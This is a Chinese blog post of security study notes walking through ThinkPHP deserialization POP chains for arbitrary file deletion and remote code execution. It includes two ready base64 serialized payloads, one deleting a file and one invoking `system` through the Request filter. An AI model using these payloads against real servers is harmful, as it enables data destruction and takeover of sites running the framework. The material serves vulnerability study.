当前位置: 首页 > article >正文

DAY111PHP开发框架THIKNPHP反序列化POP利用链RCE执行文件删除

一、文件删除利用链分析

1、__destruct发现调用$this->removeFiles();

2、removeFiles();函数方法file_exists,@unlink($filename);文件删除功能

3、unserialize(base64_decode($_GET['id']));

有可控变量

4、pop文件删除利用链的使用

只有在这个类中调用

Files可控数组

5、Poc实现

路由关系

application/index/controller/Index.php

http://tp-serilize/index.php/index/index/unser?id=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjg6ImQ6XDEudHh0Ijt9fQ==

6、动态调试

二、RCE利用链分析

1、动态调试分析

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJjb2xlYWsiO2E6MTp7aTowO3M6MDoiIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NjoiY29sZWFrIjtPOjEzOiJ0aGlua1xSZXF1ZXN0Ijo1OntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjg7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fXM6MTM6IgAqAG1lcmdlUGFyYW0iO2I6MTtzOjg6IgAqAHBhcmFtIjthOjE6e2k6MDtzOjc6Im5vdGVwYWQiO31zOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

从下到上的利用链利用

1、文件删除poc-》rce利用

//__destruct->removeFiles->file_exists->

$filename未对象时候触发__toString

2、__toString利用链分析

//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法

3、call利用链分析

hook[$method], $args

-》$method, $args

4、逆向分析call_user_func

filterValue

5、input方法触发分析

6、param被谁触发

被isAjax触发了

7、call方法调用了

8、利用链不会xie


http://www.kler.cn/a/391704.html

相关文章:

  • 微服务day07
  • 【ChatGPT】 如何让ChatGPT分析数据并得出结论
  • 【测试框架篇】单元测试框架pytest(1):环境安装和配置
  • Spring Boot 核心配置文件
  • 即插即用篇 | YOLOv8 引入 代理注意力 AgentAttention
  • 障碍检测与避障控制 ROS2机器人
  • React Native 全新架构来了
  • CCSK:面试云计算岗的高频问题
  • 观成科技:Vagent注入的内存马加密通信特征分析
  • 直播美颜SDK开发指南:实时美颜技术的架构与优化策略
  • 数学建模模型算法-Python实现
  • C语言中操作符详解(中)
  • 在服务器里安装2个conda
  • 气膜结构赋能旧厂区焕新,多功能运动场馆的理想选择—轻空间
  • ubuntu18.04 安装与卸载NCCL conda环境安装PaddlePaddle
  • 基于Java+SpringBoot宠物管理系统
  • Python学习从0到1 day28 Python 高阶技巧 ⑤ 多线程
  • 无人机动力测试台如何快速外接第三方传感器
  • ️️一篇快速上手 AJAX 异步前后端交互
  • 帝欧家居营收净利润大跌:以资抵债贡献较小,三大策略能否扭转?
  • Win7报错Couldn‘t switch to requested monitor resolution解决方案
  • MySQl基础----Linux下数据库的密码和数据库的存储引擎(内附 实操图和手绘图 简单易懂)
  • 新版 idea 编写 idea 插件时,启动出现 ClassNotFound
  • 【Flume实操】4 Flume 自定义 Interceptor 开发案例
  • 深度了解flink(十一) 心跳机制详解
  • jwt用户登录,网关给微服务传递用户信息,以及微服务间feign调用传递用户信息